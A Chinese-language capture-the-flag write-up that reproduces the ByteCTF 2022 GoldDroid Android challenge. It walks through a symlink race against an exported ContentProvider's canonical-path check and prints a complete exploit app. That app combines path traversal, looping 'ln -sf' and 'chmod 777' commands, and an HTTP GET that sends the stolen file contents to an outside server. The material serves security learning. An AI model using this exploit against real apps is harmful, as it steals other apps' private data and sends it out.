Bytectf2022 GoldDroid复现
APK分析
AndroidManifest.xml
这里的VulProvider是导出的,谁都可以通过 content://slipme/… 来访问这个 Provider
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.bytectf.golddroid" platformBuildVersionCode="32" platformBuildVersionName="12"> <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27"/> <application android:theme="@style/Theme.GoldDroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:fullBackupContent="@xml/backup_rules" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules"> <activity android:name="com.bytectf.golddroid.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <provider android:name="com.bytectf.golddroid.VulProvider" android:exported="true" android:authorities="slipme"/> <receiver android:name="com.bytectf.golddroid.FlagReceiver" android:exported="false"> <intent-filter> <action android:name="com.bytectf.SET_FLAG"/> </intent-filter> </receiver> <provider android:name="androidx.startup.InitializationProvider" andraoid:exported="false" android:authorities="com.bytectf.golddroid.androidx-startup"> <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/> <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/> </provider> </application> </manifest>
|
FlagReceiver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.bytectf.golddroid;
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; import java.io.File; import java.io.FileWriter; import java.io.IOException;
public class FlagReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if (flag != null) { File file = new File(context.getFilesDir(), "flag"); writeFile(file, flag); Log.e("FlagReceiver", "received flag."); } }
private void writeFile(File file, String s) { FileWriter writer = null; try { try { try { writer = new FileWriter(file, true); writer.write(s); writer.write(10); writer.close(); } catch (IOException e) { e.printStackTrace(); if (writer != null) { writer.close(); } } } catch (IOException e2) { e2.printStackTrace(); } } catch (Throwable th) { if (writer != null) { try { writer.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } }
|
MainActivity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package com.bytectf.golddroid;
import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.nio.charset.StandardCharsets;
public class MainActivity extends AppCompatActivity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); File externalFile = new File(getExternalFilesDir("sandbox"), "file1"); try { FileOutputStream fileOutputStream = new FileOutputStream(externalFile); fileOutputStream.write("I'm in external\n".getBytes(StandardCharsets.UTF_8)); fileOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } } }
|
1 2 3 4
| File externalFile = new File( getExternalFilesDir("sandbox"), "file1" );
|
getExternalFilesDir(“sandbox”) 返回 App 专属的外部存储目录,不需要任何存储权限
真实路径一般是:
1
| /storage/emulated/0/Android/data/com.bytectf.golddroid/files/sandbox/
|
写入I’m in external
VulProvider
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package com.bytectf.golddroid;
import android.content.ContentProvider; import android.content.ContentValues; import android.database.Cursor; import android.net.Uri; import android.os.ParcelFileDescriptor; import java.io.File; import java.io.FileNotFoundException; import java.io.IOException;
public class VulProvider extends ContentProvider { @Override public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { File root = getContext().getExternalFilesDir("sandbox"); File file = new File(getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment()); try { } catch (IOException e) { e.printStackTrace(); } if (!file.getCanonicalPath().startsWith(root.getCanonicalPath())) { throw new IllegalArgumentException(); } return ParcelFileDescriptor.open(file, 268435456); }
@Override public boolean onCreate() { return false; }
@Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { return null; }
@Override public String getType(Uri uri) { return null; }
@Override public Uri insert(Uri uri, ContentValues values) { return null; }
@Override public int delete(Uri uri, String selection, String[] selectionArgs) { return 0; }
@Override public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) { return 0; } }
|
ContentProvider是给外部或内部通过 content:// URI 访问文件用的组件,是一个总规范,这里是其的一个实现,而FileProvider是其另一个实现
只实现了 openFile()
1
| public ParcelFileDescriptor openFile(Uri uri, String mode)
|
当用 content://slipme/... 访问时系统调用这个方法返回一个 文件描述符,让对方读这个文件
获取应用的外部存储 sandbox 目录,取 URI 最后一段作为文件名,在 sandbox 目录下拼出一个文件路径
ParcelFileDescriptor 是可以跨进程传递的文件句柄,ContentProvider 可能被别的 App(别的进程)调用普通 File / InputStream 不能跨进程传Android 需要一种 IPC 安全传文件的方式,底层是 Linux 的 file descriptor(fd),外面包了一层,可序列化,可通过 Binder 传递
IPC 是不同进程之间相互通信的机制
file.getCanonicalPath()获取文件的真实、规范、去歧义路径,消除 . 和 ..,解析符号链接(symlink)返回系统认可的唯一绝对路径
如
1 2
| File f = new File("/sdcard/test/../a.txt"); f.getCanonicalPath();
|
结果是:
再比如(有软链接)
1 2
| /sdcard/link -> /data/data/app/secret.txt file.getCanonicalPath();
|
返回的是:
1
| /data/data/app/secret.txt
|
杜绝目录穿越
root.getCanonicalPath()
以只读模式打开这个文件,文件句柄返回给调用方
这个 Provider 的功能就是:允许通过 content://slipme/文件名,只读方式打开应用 externalFilesDir/sandbox 目录下的文件
这里如果使用软链接,则会返回软链接指向的路径,这是本题的关键点。
漏洞分析
根据xml和provider可以想到以content://simple/../../../xxx这样目录穿越形式访问flag
getCanonicalPath回去把..和.去掉,需要绕过,此外getLastPathSegment,只会保留最后一段,但是canonicalPath + startsWith(root) 会拦住跳出 sandbox 的真实路径
这里突然想到为什么能目录穿越去访问另一个目录的文件?Android不是做了存储分区吗?访问隔离,即一个APP不能随意访问另一个APP的数据,就是之前ByteCTF2021的Bytedroid1 再回顾了下,当时确实没太理解为什么给777,就是为了让一个APP访问另一个APP的evil.HTML
因此可以想到使用软链接的方法进行读取,可以通过在pwngolddroid的数据目录下创建软链接指向/data/data/com.bytectf.golddroid/files/flag ,然后进行读取,但是软链接同样无法通过校验,因为校验会直接拿到软链接指向的实际路径。但是通过观察发现虽然校验是获取了绝对路径,但是读取还是直接使用file进行读取,所以可以想到不断的切换创建的软链接指向的实际文件,进行条件竞争,直到flag被成功读取。
因此可以编写pwngolddroid反复链接两个文件,利用条件竞争读取flag 。
校验阶段希望看到什么?
校验条件是:
1
| canonicalPath.startsWith(sandboxPath)
|
所以在校验发生的那一刻:symlink 必须指向:
1
| /storage/emulated/0/Android/data/com.bytectf.golddroid/files/sandbox/file1
|
读取阶段希望看到什么?
读取真正发生在:
1
| ParcelFileDescriptor.open(file)
|
直接用当前文件对象去打开。所以在读取发生的那一刻:
symlink 必须已经被切换成指向:
1
| /data/data/com.bytectf.golddroid/files/flag
|
这样读到的内容才是 flag。
两个线程,其中一个不断改变symlink的指向,指向合法的files和非法的flag,另外一个不断请求provider读取symlink ,等待请求到flag开头的数据就通过http回传(真实环境不是flag开头,而是ByteCTF)
1
| ln -sf <被指向的目标> <软链接文件本身>
|
构建APP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| package com.bytectf.pwngolddroid;
import android.net.Uri; import android.os.Bundle; import android.os.ParcelFileDescriptor; import android.util.Log;
import androidx.activity.EdgeToEdge; import androidx.appcompat.app.AppCompatActivity; import androidx.core.graphics.Insets; import androidx.core.view.ViewCompat; import androidx.core.view.WindowInsetsCompat;
import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL;
public class MainActivity extends AppCompatActivity {
public String dataDir;
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EdgeToEdge.enable(this); setContentView(R.layout.activity_main); dataDir = getApplication().getApplicationInfo().dataDir; Log.d("Test",dataDir); Uri uri = Uri.parse("content://slipme/file1/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fdata%2Fdata%2Fcom%2Ebytectf%2Epwngolddroid%2Ffiles%2Fsymlink");
try { Runtime.getRuntime().exec("chmod 777 -R " + dataDir).waitFor(); Runtime.getRuntime().exec("rm -rf " + dataDir + "/files").waitFor(); Runtime.getRuntime().exec("mkdir " + dataDir + "/files").waitFor(); Runtime.getRuntime().exec("ln -sf /storage/emulated/0/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + dataDir + "/files/symlink").waitFor(); Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files").waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); }
new Thread(new Runnable() { @Override public void run() { while (true) { try { Runtime.getRuntime().exec("ln -sf /storage/emulated/0/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + dataDir + "/files/symlink").waitFor(); Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + dataDir + "/files/symlink").waitFor(); Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files").waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } } }).start();
new Thread(new Runnable() { @Override public void run() { while (true) { try { if (uri != null) { Log.d("Test", uri.toString()); ParcelFileDescriptor parcelFileDescriptor = getContentResolver().openFileDescriptor(uri, "r"); FileInputStream fileInputStream = new FileInputStream(parcelFileDescriptor.getFileDescriptor());
byte[] buffer = new byte[1024]; int bytesRead; StringBuilder stringBuilder = new StringBuilder(); while ((bytesRead = fileInputStream.read(buffer)) != -1) { stringBuilder.append(new String(buffer, 0, bytesRead)); }
fileInputStream.close(); parcelFileDescriptor.close(); String fileContent = stringBuilder.toString(); if (fileContent.startsWith("flag")) { httpGet(fileContent); } Log.d("TEST", fileContent); } } catch (FileNotFoundException e) {
} catch (IOException e) {
}catch (IllegalArgumentException e){
} }
} }).start(); }
private void httpGet(String msg) { new Thread(new Runnable() { @Override public void run() { HttpURLConnection connection = null; BufferedReader reader = null; try { URL url = new URL("http://xxx.xxx.xxx.xxx:8000/?msg=" + msg); connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); connection.getInputStream(); } catch (IOException e) { e.printStackTrace(); } } }).start();
} }
|
这里需要注意必须要捕获IllegalArgumentException e异常,来处理校验不通过时的情况,否则抛出异常而不进行异常捕获,APP将会直接退出。
这里还需要注意,如果targetSdk设置为30及以上,需要在pwngolddroid的Manifest中添加provider的需求声明,否则无法访问provider ,如果设置为27进行编译,则不需要进行声明
在创建应用时,请务必考虑您的应用需要与之交互的设备中的其他应用。如果您的应用以 Android 11(API 级别 30)或更高版本为目标平台,在默认情况下,系统会自动让部分应用对您的应用可见,但会过滤掉其他应用。本指南将介绍如何让上述其他应用对您的应用可见。
如果您的应用以 Android 11 或更高版本为目标平台,并且需要与并非自动可见的应用交互,请在您应用的清单文件中添加 元素。在 元素中,按软件包名称、按 intent 签名或按提供程序授权指定其他应用,如以下部分所述。
了解自动可见的软件包 | App architecture | Android Developers
这是 Android 11(API 30)引入的新机制。Android 11 开始,默认看不见别的 App即使Provider 是 exported=trueauthority 是对的系统也会直接拦

xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <queries> <provider android:authorities="slipme" /> </queries> <queries> <package android:name="com.bytectf.golddroid" /> </queries> <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Pwngolddroid" android:usesCleartextTraffic="true"> <activity android:name=".MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application>
</manifest>
|


1 2 3 4 5 6 7 8
| <queries> <provider android:authorities="slipme" /> </queries> 允许App看见并访问authority 为 slipme 的 ContentProvider <queries> <package android:name="com.bytectf.golddroid" /> </queries> 允许你的 App看见整个应用包名是 com.bytectf.golddroid
|
这俩都行